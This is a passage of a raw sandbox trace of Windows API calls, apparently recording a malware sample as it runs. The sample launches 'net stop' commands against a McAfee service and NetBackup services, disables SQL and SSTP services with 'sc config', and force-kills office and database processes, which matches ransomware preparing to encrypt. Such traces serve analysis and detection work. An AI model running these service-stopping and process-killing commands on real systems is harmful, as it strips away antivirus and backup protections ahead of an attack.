ReadFile (in: hFile=0x208, lpBuffer=0x222b490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x222b490, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.089] GetCurrentProcess () returned 0xffffffffffffffff [0098.089] GetCurrentProcess () returned 0xffffffffffffffff [0098.089] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x204, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.090] CloseHandle (hObject=0x1f4) returned 1 [0098.090] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.090] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.090] GetCurrentProcess () returned 0xffffffffffffffff [0098.090] GetCurrentProcess () returned 0xffffffffffffffff [0098.091] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x210) returned 1 [0098.091] CloseHandle (hObject=0x1f4) returned 1 [0098.091] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.091] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.091] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.091] CoTaskMemFree (pv=0x1a5750d0) [0098.091] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"net.exe\" stop mfewc /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edeb0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x222e8f8 | out: lpCommandLine="\"net.exe\" stop mfewc /y", lpProcessInformation=0x222e8f8*(hProcess=0x20c, hThread=0x1f4, dwProcessId=0xec8, dwThreadId=0xecc)) returned 1 [0098.097] CloseHandle (hObject=0x1f8) returned 1 [0098.097] GetFileType (hFile=0x210) returned 0x3 [0098.098] CloseHandle (hObject=0x1f4) returned 1 [0098.098] ReadFile (in: hFile=0x210, lpBuffer=0x222f178, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x222f178, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.251] GetCurrentProcess () returned 0xffffffffffffffff [0098.251] GetCurrentProcess () returned 0xffffffffffffffff [0098.251] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x20c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.252] CloseHandle (hObject=0x1f4) returned 1 [0098.252] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.252] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.252] GetCurrentProcess () returned 0xffffffffffffffff [0098.252] GetCurrentProcess () returned 0xffffffffffffffff [0098.253] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x218) returned 1 [0098.253] CloseHandle (hObject=0x1f4) returned 1 [0098.253] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.253] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.253] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.253] CoTaskMemFree (pv=0x1a5750d0) [0098.253] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"net.exe\" stop BMR Boot Service /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edeb0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x22325e8 | out: lpCommandLine="\"net.exe\" stop BMR Boot Service /y", lpProcessInformation=0x22325e8*(hProcess=0x214, hThread=0x1f4, dwProcessId=0xee4, dwThreadId=0xee8)) returned 1 [0098.260] CloseHandle (hObject=0x1f8) returned 1 [0098.260] GetFileType (hFile=0x218) returned 0x3 [0098.260] CloseHandle (hObject=0x1f4) returned 1 [0098.260] ReadFile (in: hFile=0x218, lpBuffer=0x2232e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2232e70, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.435] GetCurrentProcess () returned 0xffffffffffffffff [0098.435] GetCurrentProcess () returned 0xffffffffffffffff [0098.435] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x214, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.436] CloseHandle (hObject=0x1f4) returned 1 [0098.436] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.436] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.436] GetCurrentProcess () returned 0xffffffffffffffff [0098.436] GetCurrentProcess () returned 0xffffffffffffffff [0098.436] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x220) returned 1 [0098.437] CloseHandle (hObject=0x1f4) returned 1 [0098.437] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.437] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.437] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.437] CoTaskMemFree (pv=0x1a5750d0) [0098.437] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"net.exe\" stop NetBackup BMR MTFTP Service /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x22362f8 | out: lpCommandLine="\"net.exe\" stop NetBackup BMR MTFTP Service /y", lpProcessInformation=0x22362f8*(hProcess=0x21c, hThread=0x1f4, dwProcessId=0xf00, dwThreadId=0xf04)) returned 1 [0098.445] CloseHandle (hObject=0x1f8) returned 1 [0098.445] GetFileType (hFile=0x220) returned 0x3 [0098.445] CloseHandle (hObject=0x1f4) returned 1 [0098.445] ReadFile (in: hFile=0x220, lpBuffer=0x2236b98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2236b98, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.619] GetCurrentProcess () returned 0xffffffffffffffff [0098.619] GetCurrentProcess () returned 0xffffffffffffffff [0098.619] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x21c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.620] CloseHandle (hObject=0x1f4) returned 1 [0098.620] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.621] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.621] GetCurrentProcess () returned 0xffffffffffffffff [0098.621] GetCurrentProcess () returned 0xffffffffffffffff [0098.621] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x228) returned 1 [0098.621] CloseHandle (hObject=0x1f4) returned 1 [0098.621] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.621] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.621] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.621] CoTaskMemFree (pv=0x1a5750d0) [0098.621] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"sc.exe\" config SQLTELEMETRY start= disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x223a090 | out: lpCommandLine="\"sc.exe\" config SQLTELEMETRY start= disabled", lpProcessInformation=0x223a090*(hProcess=0x224, hThread=0x1f4, dwProcessId=0xf1c, dwThreadId=0xf20)) returned 1 [0098.630] CloseHandle (hObject=0x1f8) returned 1 [0098.631] GetFileType (hFile=0x228) returned 0x3 [0098.631] CloseHandle (hObject=0x1f4) returned 1 [0098.631] ReadFile (in: hFile=0x228, lpBuffer=0x223a930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x223a930*, lpNumberOfBytesRead=0x1ee0e8*=0x62, lpOverlapped=0x0) returned 1 [0098.830] ReadFile (in: hFile=0x228, lpBuffer=0x223a930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x223a930, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.835] GetCurrentProcess () returned 0xffffffffffffffff [0098.835] GetCurrentProcess () returned 0xffffffffffffffff [0098.835] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x224, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.836] CloseHandle (hObject=0x1f4) returned 1 [0098.837] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.837] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.837] GetCurrentProcess () returned 0xffffffffffffffff [0098.837] GetCurrentProcess () returned 0xffffffffffffffff [0098.837] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x230) returned 1 [0098.837] CloseHandle (hObject=0x1f4) returned 1 [0098.837] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.837] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.837] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.837] CoTaskMemFree (pv=0x1a5750d0) [0098.837] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"sc.exe\" config SQLTELEMETRY$ECWDB2 start= disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede90*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x223ea10 | out: lpCommandLine="\"sc.exe\" config SQLTELEMETRY$ECWDB2 start= disabled", lpProcessInformation=0x223ea10*(hProcess=0x22c, hThread=0x1f4, dwProcessId=0xf34, dwThreadId=0xf38)) returned 1 [0098.844] CloseHandle (hObject=0x1f8) returned 1 [0098.844] GetFileType (hFile=0x230) returned 0x3 [0098.844] CloseHandle (hObject=0x1f4) returned 1 [0098.844] ReadFile (in: hFile=0x230, lpBuffer=0x223f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x223f2b8*, lpNumberOfBytesRead=0x1ee0e8*=0x62, lpOverlapped=0x0) returned 1 [0098.902] ReadFile (in: hFile=0x230, lpBuffer=0x223f2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x223f2b8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.907] GetCurrentProcess () returned 0xffffffffffffffff [0098.907] GetCurrentProcess () returned 0xffffffffffffffff [0098.907] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x22c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.908] CloseHandle (hObject=0x1f4) returned 1 [0098.908] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.908] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.908] GetCurrentProcess () returned 0xffffffffffffffff [0098.909] GetCurrentProcess () returned 0xffffffffffffffff [0098.909] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x238) returned 1 [0098.909] CloseHandle (hObject=0x1f4) returned 1 [0098.909] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.909] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.909] CoTaskMemFree (pv=0x1a5750d0) [0098.909] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"sc.exe\" config SQLWriter start= disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2242908 | out: lpCommandLine="\"sc.exe\" config SQLWriter start= disabled", lpProcessInformation=0x2242908*(hProcess=0x234, hThread=0x1f4, dwProcessId=0xf4c, dwThreadId=0xf50)) returned 1 [0098.917] CloseHandle (hObject=0x1f8) returned 1 [0098.917] GetFileType (hFile=0x238) returned 0x3 [0098.917] CloseHandle (hObject=0x1f4) returned 1 [0098.917] ReadFile (in: hFile=0x238, lpBuffer=0x22431a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22431a0*, lpNumberOfBytesRead=0x1ee0e8*=0x62, lpOverlapped=0x0) returned 1 [0098.973] ReadFile (in: hFile=0x238, lpBuffer=0x22431a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22431a0, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0098.978] GetCurrentProcess () returned 0xffffffffffffffff [0098.978] GetCurrentProcess () returned 0xffffffffffffffff [0098.978] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x234, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0098.979] CloseHandle (hObject=0x1f4) returned 1 [0098.979] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.980] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0098.980] GetCurrentProcess () returned 0xffffffffffffffff [0098.980] GetCurrentProcess () returned 0xffffffffffffffff [0098.980] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x240) returned 1 [0098.980] CloseHandle (hObject=0x1f4) returned 1 [0098.980] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.980] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0098.980] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0098.980] CoTaskMemFree (pv=0x1a5750d0) [0098.980] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"sc.exe\" config SstpSvc start= disabled", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x22467e8 | out: lpCommandLine="\"sc.exe\" config SstpSvc start= disabled", lpProcessInformation=0x22467e8*(hProcess=0x23c, hThread=0x1f4, dwProcessId=0xf64, dwThreadId=0xf68)) returned 1 [0098.987] CloseHandle (hObject=0x1f8) returned 1 [0098.987] GetFileType (hFile=0x240) returned 0x3 [0098.987] CloseHandle (hObject=0x1f4) returned 1 [0098.987] ReadFile (in: hFile=0x240, lpBuffer=0x2247078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2247078*, lpNumberOfBytesRead=0x1ee0e8*=0x33, lpOverlapped=0x0) returned 1 [0099.060] ReadFile (in: hFile=0x240, lpBuffer=0x2247078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2247078, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0099.072] GetCurrentProcess () returned 0xffffffffffffffff [0099.072] GetCurrentProcess () returned 0xffffffffffffffff [0099.072] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x23c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0099.073] CloseHandle (hObject=0x1f4) returned 1 [0099.074] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0099.074] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0099.074] GetCurrentProcess () returned 0xffffffffffffffff [0099.074] GetCurrentProcess () returned 0xffffffffffffffff [0099.074] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x248) returned 1 [0099.074] CloseHandle (hObject=0x1f4) returned 1 [0099.074] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0099.074] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0099.074] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.074] CoTaskMemFree (pv=0x1a5750d0) [0099.075] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"taskkill.exe\" /IM mspub.exe /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edeb0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x224a690 | out: lpCommandLine="\"taskkill.exe\" /IM mspub.exe /F", lpProcessInformation=0x224a690*(hProcess=0x244, hThread=0x1f4, dwProcessId=0xf7c, dwThreadId=0xf80)) returned 1 [0099.088] CloseHandle (hObject=0x1f8) returned 1 [0099.088] GetFileType (hFile=0x248) returned 0x3 [0099.088] CloseHandle (hObject=0x1f4) returned 1 [0099.088] ReadFile (in: hFile=0x248, lpBuffer=0x224af10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x224af10, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0100.589] GetCurrentProcess () returned 0xffffffffffffffff [0100.589] GetCurrentProcess () returned 0xffffffffffffffff [0100.589] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x244, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0100.591] CloseHandle (hObject=0x1f4) returned 1 [0100.591] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.591] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0100.591] GetCurrentProcess () returned 0xffffffffffffffff [0100.592] GetCurrentProcess () returned 0xffffffffffffffff [0100.592] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x250) returned 1 [0100.592] CloseHandle (hObject=0x1f4) returned 1 [0100.592] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.592] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0100.592] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0100.592] CoTaskMemFree (pv=0x1a5750d0) [0100.592] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"taskkill.exe\" /IM mydesktopqos.exe /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edeb0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x224e388 | out: lpCommandLine="\"taskkill.exe\" /IM mydesktopqos.exe /F", lpProcessInformation=0x224e388*(hProcess=0x24c, hThread=0x1f4, dwProcessId=0xfac, dwThreadId=0xfb0)) returned 1 [0100.598] CloseHandle (hObject=0x1f8) returned 1 [0100.599] GetFileType (hFile=0x250) returned 0x3 [0100.599] CloseHandle (hObject=0x1f4) returned 1 [0100.599] ReadFile (in: hFile=0x250, lpBuffer=0x224ec18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x224ec18, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0100.915] GetCurrentProcess () returned 0xffffffffffffffff [0100.915] GetCurrentProcess () returned 0xffffffffffffffff [0100.915] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x24c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0100.916] CloseHandle (hObject=0x1f4) returned 1 [0100.917] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0100.917] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0100.917] GetCurrentProcess () returned 0xffffffffffffffff [0100.917] GetCurrentProcess () returned 